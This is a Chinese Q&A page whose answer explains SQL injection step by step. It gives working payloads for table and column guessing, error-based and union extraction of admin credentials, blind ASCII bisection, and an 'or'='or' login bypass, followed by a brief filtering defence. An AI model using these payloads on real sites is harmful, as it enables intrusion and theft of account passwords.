永发信息网

在网络安全中SQL注入的定义及步骤

答案:2  悬赏:0  手机版
解决时间 2021-03-23 10:19
在网络安全中SQL注入的定义及步骤
最佳答案
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

方法1
  先猜表名
  And (Select count(*) from 表名)<>0
  猜列名
  And (Select count(列名) from 表名)<>0
  或者也可以这样
  and exists (select * from 表名)
  and exists (select 列名 from 表名)
  返回正确的,那么写的表名或列名就是正确
  这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3 这样是不行的
  现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容
  获得数据库连接用户名:;and user>0
  这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:
  ----------------------------------------------------------------------------------------------------------
  "重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar转换int异常,XXXX不能转换成int"
  -----------------------------------------------------------------------------------------------------------
  看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()>0 则是暴数据库名。
  一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是
  Order by 10
  And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin
  And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin
  上面的order by 10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名
  反正就是返回正确即对,返回异常即错
  另外还有十分常用的ascll码拆半法
  先要知道指定列名,例如user里的内容的长度
  and (select len(user) from admin)=2 就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余
  后面的逻辑符号可以根据不同要求更改的,
  >;大于 <;小于 =就是等于咯,更新语句的话,=也可以表示传递符号 <>;就是不等
  知道了长度后就可以开始猜解了
  And (Select top 1 asc(mid(user,n,1)) from admin)>100
  n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里内容的第一位的ASCLL字符是不是大于100
  正确的话,那么表示USER第一个字符的ASCLL码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字符XXX,然后用ASCLL转换器吧这个转换成普通字符就可以了
  然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去
  加在url后面,列名表名还是先猜解,返回正确的代表帐号的ascll码大于100,那么就再向前猜,指导报错,把猜出来的ascll码拿去ascll转换器转换就可以了,中文是负数,加上asb取绝对值
  And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320
  得到之后就记得在数字前加-号,不然ASCLL转换器转换不来的,中文在ASCLL码里是-23423这样的,所以猜起来挺麻烦
  这个猜解速度比较慢,但是效果最好,最具有广泛性
方法2
  后台身份验证绕过漏洞
  验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误
  例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是
  user=request("user")
  passwd=request("passwd")
  sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
  那么我使用'or 'a'='a来做用户名密码的话,那么查询就变成了
  select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
  这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是 假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了
  这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似
  sql="select * from admin where username='"&username&'&"passwd='"&passwd&'
  如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。
  第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了
方法3
  防御方法
  对于怎么防御SQL注入呢,这个网上很多,我这里讲几个
  如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select ; “”;form;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。
  当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法
  Function SafeRequest(ParaName,ParaType)
  '--- 传入参数 ---
  'ParaName:参数名称-字符型
  'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)
  Dim ParaValue
  ParaValue=Request(ParaName)
  If ParaType=1 then
  If not isNumeric(ParaValue) then
  Response.write "参数" & ParaName & "必须为数字型!"
  Response.end
  End if
  Else
  ParaValue=replace(ParaValue,"'","''")
  End if
  SafeRequest=ParaValue
  End function
  然后就用SafeRequest()来过滤参数 ,检查参数是否为数字,不是数字的就不能通过。
小结
  SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区别。
全部回答
任务占坑
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
阴阳师勾玉怎么获得,阴阳师贪恋之卷怎么获得
大仙医有第二部叫什么书名
“感恩?灯”话题作文【模拟文题】 感恩是中华
新房刚砌的水泥砖墙要浇水吗
求一些自恋的句子(要搞笑的)
婺源火车站离婺源高速哪个出口近
色之彩工作室在哪里啊,我有事要去这个地方
污水提升泵什么牌子好,想买一台求推荐
博弈居地址好找么,我有些事要过去
求陈氏二十四式太极拳带口令版配乐😂&
星际争霸2为什么没有地刺
单选题世界上最早的奴隶制国家产生于A.黄河流
估话说什么不吃窝边草?
爸爸带我家的狗狗剪毛,变的好短。丑死了,狗
一般的情况下,快递最快几天到达?
推荐资讯
为使晶闸管变流装置正常工作,触发电路必须满
我是一名生物质能源专业的研究生,请问以后工
创业目标计划书怎么写,化妆品行业怎么写这个
3年不用的桂林银行卡(里面没有钱的)我想存
舟山普陀东港山水人家二手房
哪个动作更侧重于背阔肌的下部?我特别喜欢用
南京旅游住哪个区方便,去南京住哪里方便,南京
写《人类未解之谜》的人是谁
贾梅饭店地址在哪,我要去那里办事
人类是攻动植物是受的温馨耽美文
成人了。有人叫你小名怎么办?
这个世界真的有神仙吗,世界上真的有神吗?
正方形一边上任一点到这个正方形两条对角线的
阴历怎么看 ?